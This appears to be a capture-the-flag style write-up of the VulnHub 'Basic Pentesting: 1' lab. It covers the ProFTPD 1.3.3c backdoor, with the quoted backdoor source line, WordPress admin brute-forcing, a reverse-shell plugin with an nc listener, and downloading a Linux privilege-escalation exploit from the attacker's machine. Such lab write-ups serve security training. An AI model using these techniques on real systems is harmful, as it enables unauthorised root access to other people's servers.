VulnHub #Basic Pentesting: 1
Official website: Basic Pentesting: 1
VM Network Setup: Host Only (192.168.56.102)
Table of Contents
Nmap Port Scan
1 | PORT STATE SERVICE VERSION |
Method 01: ProFTPD 1.3.3c backdoor
It’s really easy to know that proftpd 1.3.3c has an official backdoor by googling this specific version. The exploit is super simple, just send the command HELP ACIDBITCHEZ
and you’ll get a root shell lol.
1 | $ nc 192.168.56.102 21 |
How did this happen?
Since it’s so easy to get a root shell, let’s shift focus to source code analysis. You can find the backdoored version of proftpd 1.3.3c source code on the internet but not on the official FTP site.
First of all, line 5089 in modules/mode_core.c
, core_cmdtab
stored all commands including C_HELP
.
1 | static cmdtable core_cmdtab[] = { |
C_HELP
is defined in include/ftp.h
line 78, confirmed that we find the correct way.
1 |
Next, we followed core_help
function to modules/mod_core.c
line 3708.
1 | MODRET core_help(cmd_rec *cmd) { |
core_help
function is deal with HELP
command. Our HELP
command come with argv, it should be continue to pr_help_add_response(cmd, cmd->argv[1]) == 0
at line 3722.
Followed to src/help.c
at line 80.
1 | int pr_help_add_response(cmd_rec *cmd, const char *target) { |
Now we finally find the backdoor! Since we called pr_help_add_response
function with char *target
, it will pass if
condiction and go to else
part. That’s it. There is a very strange line of code at line 131.
1 | if (strcmp(target, "ACIDBITCHEZ") == 0) { setuid(0); setgid(0); system("/bin/sh;/sbin/sh"); } |
If the target is ACIDBITCHEZ
, it will execute a root shell!
Similar vulnerability
This reminds me of another, very similar vulnerability: vsfptd v2.3.4 Backdoor Command Execution.
It’s also an open source FTP server containing backdoor at v2.3.4. When any FTP username end with :)
, vsftpd will start a shell and listen to port 6200 no matter the password is correct or not.
Method 02: Web Server
The VM also open port 80 with Apache httpd service, but the index is just the default page so I start my routine work to pentest this website.
First, I use dirb
to scan the URL and found the secret
folder. It’s actually a WordPress page but its static files seems not correctly loaded.
It’s easy to solve this problem. Just modify your host computer’s /etc/hosts
file and add your VM’s ip in the file. For example, my VM’s ip is 192.168.56.102
, add 192.168.56.102 vtcsec
to the file and save it. Force reload the web page and you should see the full page completely.
Get admin
Back to our challenge, now we know that this is a default WordPress site. Maybe we can try brute force attack to crack the admin’s password. Using wpscan
we can easily scan WordPress site and brute force attack to enumerate password. You can find some wordlists from SecLists.
1 | $ wpscan --url http://192.168.56.102/secret --username admin --wordlist 10-million-password-list-top-10000.txt |
The result admin’s password is admin
orz…
Never mind, now we can access the admin control panel.
Get shell
Since we have the admin privilege, we can control this WordPress site including upload custom plugin.
WordPress allow user to install plugin from WordPress Plugin Directory or upload custom plugin in .zip
format. We can build our own plugin and install it to get the web shell.
Here is a simple PHP reverse shell in WordPress Plugin format:
1 |
|
Compress this PHP file to a zip
file. You can now upload and install this “reverse shell” plugin. All WordPress plugin can be access at /wp-contents/plugins/[PLUGIN_NAME]/[FILE_NAME]
.
Just start a listening port, you can browse the plugin file you uploaded before and wait for reverse shell coming.
1 | $ nc -nvlp 4444 |
Get root
Now we have a reverse shell, but the user is www-data
, we want root
! Let’s try local privilege escalation attack.
First, I used this script GitHub - mzet-/linux-exploit-suggester: Linux privilege escalation auditing tool to search if there is any useful local privilege escalatiopn exploit exist or not.
The result give me a list of some possible exploits, I choose a latest one: Libc Realpath Buffer Underflow.
My victim VM and attack VM (Kali Linux) are both in the same Host Only Network. I start a simple python HTTP server on Kali so I can use wget
to download exploit code from victim VM and compile it:
1 | (Kali) $ python -m SimpleHTTPServer 80 |
That is! Now you can do whatever you want for example change root
password, create a new user or something else.